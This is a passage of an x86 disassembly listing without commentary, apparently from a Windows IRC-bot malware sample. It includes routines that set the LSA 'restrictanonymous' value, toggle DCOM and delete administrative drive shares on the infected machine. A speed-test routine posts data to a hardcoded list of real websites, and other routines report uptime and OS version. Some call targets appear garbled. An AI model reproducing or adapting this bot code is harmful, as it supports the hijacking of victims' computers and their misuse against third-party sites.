		call	sub_409869
		add	esp, 14h


loc_41A483:				; CODE XREF: sub_41A3C6+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CBA44
		test	eax, eax
		jnz	short loc_41A4F1
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_4CB9F8
		test	eax, eax
		jz	short loc_41A4D3
		push	offset dword_43A720
		jmp	short loc_41A4D8
; ---------------------------------------------------------------------------


loc_41A4D3:				; CODE XREF: sub_41A3C6+104j
		push	offset dword_43A6EC


loc_41A4D8:				; CODE XREF: sub_41A3C6+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB9B0
		jmp	short loc_41A50B
; ---------------------------------------------------------------------------


loc_41A4F1:				; CODE XREF: sub_41A3C6+E2j
		push	offset dword_43A6B0
		jmp	short loc_41A4FD
; ---------------------------------------------------------------------------


loc_41A4F8:				; CODE XREF: sub_41A3C6+13j
		push	offset dword_43A680


loc_41A4FD:				; CODE XREF: sub_41A3C6+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A50B:				; CODE XREF: sub_41A3C6+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A52A
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A52A:				; CODE XREF: sub_41A3C6+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		cmp	dword_4CBACC, edi
		pop	ecx
		jnz	loc_41A6A5
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi


loc_41A54D:				; CODE XREF: sub_41A3C6+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_4CB918
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_41A5EA
		cmp	eax, 0EAh
		jz	short loc_41A5EA
		mov	esi, offset off_43A548


loc_41A57E:				; CODE XREF: sub_41A3C6+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_4191B8
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A595
		push	offset dword_43A65C
		jmp	short loc_41A59A
; ---------------------------------------------------------------------------


loc_41A595:				; CODE XREF: sub_41A3C6+1C6j
		push	offset dword_43A630


loc_41A59A:				; CODE XREF: sub_41A3C6+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A5CD
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A5CD:				; CODE XREF: sub_41A3C6+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_43A568
		jb	short loc_41A57E
		jmp	loc_41A682
; ---------------------------------------------------------------------------


loc_41A5EA:				; CODE XREF: sub_41A3C6+1AAj
					; sub_41A3C6+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41A679


loc_41A5F9:				; CODE XREF: sub_41A3C6+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_41E0B7
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_41A66E
		push	edi
		call	sub_4190A5
		push	eax
		push	0
		call	sub_4191B8
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A628
		push	offset dword_43A60C
		jmp	short loc_41A62D
; ---------------------------------------------------------------------------


loc_41A628:				; CODE XREF: sub_41A3C6+259j
		push	offset dword_43A5E0


loc_41A62D:				; CODE XREF: sub_41A3C6+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A661
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A661:				; CODE XREF: sub_41A3C6+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		pop	ecx


loc_41A66E:				; CODE XREF: sub_41A3C6+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_41A5F9
		xor	edi, edi


loc_41A679:				; CODE XREF: sub_41A3C6+22Dj
		push	[ebp+var_8]
		call	dword_4CBA64


loc_41A682:				; CODE XREF: sub_41A3C6+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_41A54D
		lea	eax, [ebp+var_214]
		push	offset dword_43A5B8
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_41A6B8
; ---------------------------------------------------------------------------


loc_41A6A5:				; CODE XREF: sub_41A3C6+177j
		lea	eax, [ebp+var_214]
		push	offset dword_43A588
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A6B8:				; CODE XREF: sub_41A3C6+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A6D6
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A6D6:				; CODE XREF: sub_41A3C6+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_41A3C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A6EA	proc near		; CODE XREF: sub_41A366:loc_41A3ADp

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_4CBAA4, ebx
		push	esi
		jnz	loc_41A818
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CBA44
		test	eax, eax
		jnz	short loc_41A775
		mov	ax, word_4392DC
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CB9F8
		test	eax, eax
		jz	short loc_41A757
		push	offset dword_43A938
		jmp	short loc_41A75C
; ---------------------------------------------------------------------------


loc_41A757:				; CODE XREF: sub_41A6EA+64j
		push	offset dword_43A91C


loc_41A75C:				; CODE XREF: sub_41A6EA+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB9B0
		jmp	short loc_41A788
; ---------------------------------------------------------------------------


loc_41A775:				; CODE XREF: sub_41A6EA+36j
		lea	eax, [ebp+var_220]
		push	offset dword_43A770
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A788:				; CODE XREF: sub_41A6EA+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A7A7
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A7A7:				; CODE XREF: sub_41A6EA+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CBA44
		test	eax, eax
		jnz	short loc_41A811
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_4CB9F8
		test	eax, eax
		jz	short loc_41A7F3
		push	offset dword_43A8DC
		jmp	short loc_41A7F8
; ---------------------------------------------------------------------------


loc_41A7F3:				; CODE XREF: sub_41A6EA+100j
		push	offset dword_43A8A4


loc_41A7F8:				; CODE XREF: sub_41A6EA+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB9B0
		jmp	short loc_41A82B
; ---------------------------------------------------------------------------


loc_41A811:				; CODE XREF: sub_41A6EA+E2j
		push	offset dword_43A868
		jmp	short loc_41A81D
; ---------------------------------------------------------------------------


loc_41A818:				; CODE XREF: sub_41A6EA+13j
		push	offset dword_43A680


loc_41A81D:				; CODE XREF: sub_41A6EA+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A82B:				; CODE XREF: sub_41A6EA+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A84A
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A84A:				; CODE XREF: sub_41A6EA+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		cmp	dword_4CBACC, ebx
		pop	ecx
		jnz	loc_41A9BF
		push	edi
		mov	esi, offset off_43A548
		mov	edi, 200h


loc_41A86E:				; CODE XREF: sub_41A6EA+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_41910C
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A889
		push	offset dword_43A848
		jmp	short loc_41A88E
; ---------------------------------------------------------------------------


loc_41A889:				; CODE XREF: sub_41A6EA+196j
		push	offset dword_43A820


loc_41A88E:				; CODE XREF: sub_41A6EA+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A8BD
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A8BD:				; CODE XREF: sub_41A6EA+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_43A558
		jb	short loc_41A86E
		nop
		call	near ptr 2820CE0h
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_41A9A7


loc_41A8E8:				; CODE XREF: sub_41A6EA+2B7j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_41A99C
		cmp	bl, 41h
		jz	loc_41A99C
		movsx	esi, bl
		push	esi
		push	offset aC_2	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	esi
		push	offset aC_1	; "%c:\\"
		push	0Ah
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_4CBA34
		cmp	eax, 3
		jnz	short loc_41A99C
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_41910C
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_41A95A
		push	offset dword_43A848
		jmp	short loc_41A95F
; ---------------------------------------------------------------------------


loc_41A95A:				; CODE XREF: sub_41A6EA+267j
		push	offset dword_43A820


loc_41A95F:				; CODE XREF: sub_41A6EA+26Ej
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A98F
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A98F:				; CODE XREF: sub_41A6EA+289j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		pop	ecx


loc_41A99C:				; CODE XREF: sub_41A6EA+206j
					; sub_41A6EA+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_41A8E8


loc_41A9A7:				; CODE XREF: sub_41A6EA+1F8j
		lea	eax, [ebp+var_220]
		push	offset dword_43A7F0
		push	eax
		call	sub_41C266
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_41A9D2
; ---------------------------------------------------------------------------


loc_41A9BF:				; CODE XREF: sub_41A6EA+173j
		lea	eax, [ebp+var_220]
		push	offset dword_43A588
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A9D2:				; CODE XREF: sub_41A6EA+2D3j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A9F0
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A9F0:				; CODE XREF: sub_41A6EA+2EBj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_41A6EA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AA04	proc near		; CODE XREF: sub_41ABFB+CBp
					; sub_41ABFB+DDp ...

arg_0		= dword	ptr  4

		nop
		call	near ptr 269083Ah
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		cdq
		idiv	[esp+arg_0]
		mov	eax, edx
		retn
sub_41AA04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AA1E	proc near		; CODE XREF: sub_41ABFB+D4p
					; sub_41ABFB+E6p ...

var_38		= dword	ptr -38h
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41B9C0
		mov	esi, 0FFh
		pop	ecx
		cmp	eax, esi
		ja	loc_41ABF7
		push	10h
		lea	eax, [ebp+var_28]
		push	0
		push	eax
		call	sub_41BF70
		push	[ebp+arg_0]
		mov	[ebp+var_28], 2
		call	sub_40A8F0
		add	esp, 10h
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	loc_41ABF7
		push	50h
		call	dword_4CB9D4
		push	6
		push	1
		push	2
		mov	[ebp+var_26], ax
		call	dword_4CBA54
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_41ABF7
		lea	ecx, [ebp+var_28]
		push	10h
		push	ecx
		push	eax
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jz	loc_41ABF7
		push	32003h
		call	sub_41D9A5
		mov	edi, dword_4270B0
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_8], ebx
		call	edi
		push	eax
		call	sub_41C2B8
		call	sub_41C2C2
		cdq
		idiv	esi
		mov	[esp+38h+var_38], 32001h
		push	0
		push	ebx
		movsx	esi, dl
		call	sub_41BF70
		push	32000h
		push	esi
		push	ebx
		call	sub_41BF70
		push	ebx
		call	sub_41B9C0
		push	323EAh
		mov	ebx, eax
		call	sub_41D9A5
		add	esp, 20h
		mov	esi, eax
		push	ebx
		push	[ebp+arg_0]
		push	offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
		push	esi
		call	sub_41C266
		push	[ebp+var_8]
		push	esi
		call	sub_41C8A0
		push	offset asc_4349EC ; "\r\n"
		push	esi
		call	sub_41C8A0
		push	esi
		call	sub_41B9C0
		mov	ebx, eax
		add	esp, 24h
		mov	[ebp+var_10], ebx
		call	edi
		mov	dword ptr [ebp+var_18+4], eax
		xor	eax, eax
		test	ebx, ebx
		mov	[ebp+arg_0], eax
		jbe	short loc_41AB77
		mov	[ebp+var_C], ebx
		mov	ebx, 400h
		jmp	short loc_41AB47
; ---------------------------------------------------------------------------


loc_41AB44:				; CODE XREF: sub_41AA1E+157j
		mov	eax, [ebp+arg_0]


loc_41AB47:				; CODE XREF: sub_41AA1E+124j
		mov	ecx, [ebp+var_10]
		push	0
		sub	ecx, eax
		cmp	ecx, ebx
		jnb	short loc_41AB57
		push	[ebp+var_C]
		jmp	short loc_41AB58
; ---------------------------------------------------------------------------


loc_41AB57:				; CODE XREF: sub_41AA1E+132j
		push	ebx


loc_41AB58:				; CODE XREF: sub_41AA1E+137j
		add	eax, esi
		push	eax
		push	[ebp+var_4]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41ABDE
		add	[ebp+arg_0], ebx
		sub	[ebp+var_C], ebx
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_10]
		jb	short loc_41AB44


loc_41AB77:				; CODE XREF: sub_41AA1E+11Aj
		call	edi
		sub	eax, dword ptr [ebp+var_18+4]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		fmul	flt_4276F4
		fst	[ebp+arg_0]
		fcomp	flt_4276F0
		fnstsw	ax
		sahf
		jnz	short loc_41AB9F
		fld1
		fstp	[ebp+arg_0]


loc_41AB9F:				; CODE XREF: sub_41AA1E+17Aj
		push	[ebp+var_4]
		call	dword_4CBA6C
		push	[ebp+var_8]
		call	sub_41BA91
		push	esi
		call	sub_41BA91
		mov	eax, [ebp+var_10]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		pop	ecx
		fild	[ebp+var_18]
		pop	ecx
		fdiv	[ebp+arg_0]
		fmul	flt_4276EC
		fmul	flt_4276E8
		call	sub_41D174


loc_41ABD9:				; CODE XREF: sub_41AA1E+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41ABDE:				; CODE XREF: sub_41AA1E+149j
		push	[ebp+var_4]
		call	dword_4CBA6C
		push	[ebp+var_8]
		call	sub_41BA91
		push	esi
		call	sub_41BA91
		pop	ecx
		pop	ecx


loc_41ABF7:				; CODE XREF: sub_41AA1E+19j
					; sub_41AA1E+42j ...
		xor	eax, eax
		jmp	short loc_41ABD9
sub_41AA1E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ABFB	proc near		; CODE XREF: sub_401ACD+2E1Ep

var_26C		= byte ptr -26Ch
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		push	8
		mov	[ebp+var_4], 3
		mov	[ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
		mov	[ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
		mov	[ebp+var_34], offset aVerio_fr ; "verio.fr"
		mov	[ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
		mov	[ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
		mov	[ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
		mov	[ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
		mov	[ebp+var_20], offset aWww_google_it ; "www.google.it"
		mov	[ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
		mov	[ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
		mov	[ebp+var_64], offset aWww_verio_com ; "www.verio.com"
		mov	[ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
		mov	[ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
		mov	[ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
		mov	[ebp+var_54], offset aWww_burst_net ; "www.burst.net"
		mov	[ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
		mov	[ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
		mov	[ebp+var_48], offset aWww_above_net ; "www.above.net"
		mov	[ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
		mov	[ebp+var_40], offset aWww_google_com ; "www.google.com"
		mov	[ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
		mov	[ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
		mov	[ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
		mov	[ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
		mov	[ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
		mov	[ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
		call	sub_41AA04
		push	[ebp+eax*4+var_3C]
		call	sub_41AA1E
		push	8
		mov	esi, eax
		call	sub_41AA04
		push	[ebp+eax*4+var_3C]
		call	sub_41AA1E
		add	esp, 10h
		test	esi, esi
		jz	short loc_41ACFC
		test	eax, eax
		jz	short loc_41ACF8
		lea	ebx, [eax+esi]
		shr	ebx, 1
		jmp	short loc_41ACFE
; ---------------------------------------------------------------------------


loc_41ACF8:				; CODE XREF: sub_41ABFB+F4j
		mov	ebx, esi
		jmp	short loc_41ACFE
; ---------------------------------------------------------------------------


loc_41ACFC:				; CODE XREF: sub_41ABFB+F0j
		mov	ebx, eax


loc_41ACFE:				; CODE XREF: sub_41ABFB+FBj
					; sub_41ABFB+FFj
		push	0Ch
		call	sub_41AA04
		push	[ebp+eax*4+var_6C]
		call	sub_41AA1E
		push	0Ch
		mov	edi, eax
		call	sub_41AA04
		push	[ebp+eax*4+var_6C]
		call	sub_41AA1E
		add	esp, 10h
		test	edi, edi
		jz	short loc_41AD36
		test	eax, eax
		jz	short loc_41AD32
		lea	esi, [eax+edi]
		shr	esi, 1
		jmp	short loc_41AD38
; ---------------------------------------------------------------------------


loc_41AD32:				; CODE XREF: sub_41ABFB+12Ej
		mov	esi, edi
		jmp	short loc_41AD38
; ---------------------------------------------------------------------------


loc_41AD36:				; CODE XREF: sub_41ABFB+12Aj
		mov	esi, eax


loc_41AD38:				; CODE XREF: sub_41ABFB+135j
					; sub_41ABFB+139j
		push	6
		call	sub_41AA04
		push	[ebp+eax*4+var_1C]
		call	sub_41AA1E
		push	6
		mov	edi, eax
		call	sub_41AA04
		push	[ebp+eax*4+var_1C]
		call	sub_41AA1E
		add	esp, 10h
		test	edi, edi
		jz	short loc_41AD70
		test	eax, eax
		jz	short loc_41AD6C
		lea	ecx, [eax+edi]
		shr	ecx, 1
		jmp	short loc_41AD72
; ---------------------------------------------------------------------------


loc_41AD6C:				; CODE XREF: sub_41ABFB+168j
		mov	ecx, edi
		jmp	short loc_41AD72
; ---------------------------------------------------------------------------


loc_41AD70:				; CODE XREF: sub_41ABFB+164j
		mov	ecx, eax


loc_41AD72:				; CODE XREF: sub_41ABFB+16Fj
					; sub_41ABFB+173j
		xor	eax, eax
		test	ebx, ebx
		jz	short loc_41AD7F
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41AD82
; ---------------------------------------------------------------------------


loc_41AD7F:				; CODE XREF: sub_41ABFB+17Bj
		push	2
		pop	edi


loc_41AD82:				; CODE XREF: sub_41ABFB+182j
		test	esi, esi
		jz	short loc_41AD8A
		add	eax, esi
		jmp	short loc_41AD8B
; ---------------------------------------------------------------------------


loc_41AD8A:				; CODE XREF: sub_41ABFB+189j
		dec	edi


loc_41AD8B:				; CODE XREF: sub_41ABFB+18Dj
		test	ecx, ecx
		jz	short loc_41AD93
		add	eax, ecx
		jmp	short loc_41AD94
; ---------------------------------------------------------------------------


loc_41AD93:				; CODE XREF: sub_41ABFB+192j
		dec	edi


loc_41AD94:				; CODE XREF: sub_41ABFB+196j
		xor	edx, edx
		div	edi
		push	eax
		push	ecx
		push	esi
		push	ebx
		lea	eax, [ebp+var_26C]
		push	offset dword_43A990
		push	eax
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_26C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_415D38
		add	esp, 30h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41ABFB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ADD8	proc near		; CODE XREF: sub_401ACD+257Bp
					; sub_401ACD+29CDp ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		nop
		call	near ptr 269083Ah
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_4DBC90
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_41C360
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41ADD8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AE41	proc near		; CODE XREF: sub_4172C1+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		nop
		call	near ptr 26D04D8h
		test	eax, eax
		jz	short loc_41AED4
		cmp	[ebp+var_90], 4
		jnz	short loc_41AEAA
		cmp	[ebp+var_8C], esi
		jnz	short loc_41AE92
		cmp	[ebp+var_84], 1
		jnz	short loc_41AE85
		push	1
		pop	esi


loc_41AE85:				; CODE XREF: sub_41AE41+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_41AED4
		push	1
		jmp	short loc_41AED3
; ---------------------------------------------------------------------------


loc_41AE92:				; CODE XREF: sub_41AE41+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_41AE9F


loc_41AE9B:				; CODE XREF: sub_41AE41+78j
		push	2
		jmp	short loc_41AED3
; ---------------------------------------------------------------------------


loc_41AE9F:				; CODE XREF: sub_41AE41+58j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_41AED4
		jmp	short loc_41AEC4
; ---------------------------------------------------------------------------


loc_41AEAA:				; CODE XREF: sub_41AE41+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_41AED4
		cmp	[ebp+var_8C], esi
		jz	short loc_41AE9B
		cmp	[ebp+var_8C], 1
		jnz	short loc_41AEC8


loc_41AEC4:				; CODE XREF: sub_41AE41+67j
		push	3
		jmp	short loc_41AED3
; ---------------------------------------------------------------------------


loc_41AEC8:				; CODE XREF: sub_41AE41+81j
		cmp	[ebp+var_8C], 2
		jnz	short loc_41AED4
		push	7


loc_41AED3:				; CODE XREF: sub_41AE41+4Fj
					; sub_41AE41+5Cj ...
		pop	esi


loc_41AED4:				; CODE XREF: sub_41AE41+25j
					; sub_41AE41+4Bj ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41AE41	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AED9	proc near		; CODE XREF: sub_41AF8F+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h


